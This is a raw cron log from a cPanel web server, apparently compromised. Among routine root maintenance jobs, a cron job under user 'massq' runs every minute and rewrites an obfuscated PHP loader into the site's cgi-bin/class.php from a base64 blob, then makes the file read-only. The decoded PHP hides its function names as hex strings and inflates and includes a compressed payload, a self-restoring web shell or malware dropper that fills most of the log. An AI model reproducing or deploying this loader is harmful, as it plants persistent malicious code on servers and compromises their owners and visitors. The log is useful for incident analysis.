Sep  2 13:32:01 server CROND[21746]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 13:32:01 server CROND[21747]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 13:32:01 server CROND[21748]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 13:33:01 server CROND[22145]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 13:33:01 server CROND[22146]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 13:33:01 server CROND[22147]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 13:34:01 server CROND[22566]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 13:34:01 server CROND[22567]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 13:34:01 server CROND[22568]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 13:35:01 server CROND[23156]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 13:35:01 server CROND[23157]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  2 13:35:01 server CROND[23160]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 13:35:01 server CROND[23163]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  2 13:35:01 server CROND[23162]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  2 13:35:01 server CROND[23161]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 13:35:01 server CROND[23166]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep  2 13:35:01 server CROND[23164]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 13:35:01 server CROND[23167]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 13:36:01 server CROND[24112]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 13:36:01 server CROND[24114]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 13:36:01 server CROND[24115]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 13:37:01 server CROND[24499]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 13:37:01 server CROND[24501]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 13:37:01 server CROND[24500]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 13:38:01 server CROND[24893]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 13:38:01 server CROND[24894]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 13:38:01 server CROND[24895]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 13:39:01 server CROND[25392]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 13:39:01 server CROND[25393]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  2 13:39:01 server CROND[25394]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 13:39:01 server CROND[25395]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 13:40:01 server CROND[25805]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  2 13:40:01 server CROND[25808]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  2 13:40:01 server CROND[25809]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 13:40:01 server CROND[25810]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 13:40:01 server CROND[25812]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 13:40:01 server CROND[25815]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 13:40:01 server CROND[25814]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  2 13:40:01 server CROND[25811]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 13:41:01 server CROND[26760]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 13:41:01 server CROND[26761]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 13:41:01 server CROND[26762]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 13:42:01 server CROND[27156]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 13:42:01 server CROND[27157]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  2 13:42:01 server CROND[27158]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 13:42:01 server CROND[27159]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 13:43:01 server CROND[27545]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 13:43:01 server CROND[27546]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 13:43:01 server CROND[27547]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 13:44:01 server CROND[27924]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 13:44:01 server CROND[27925]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
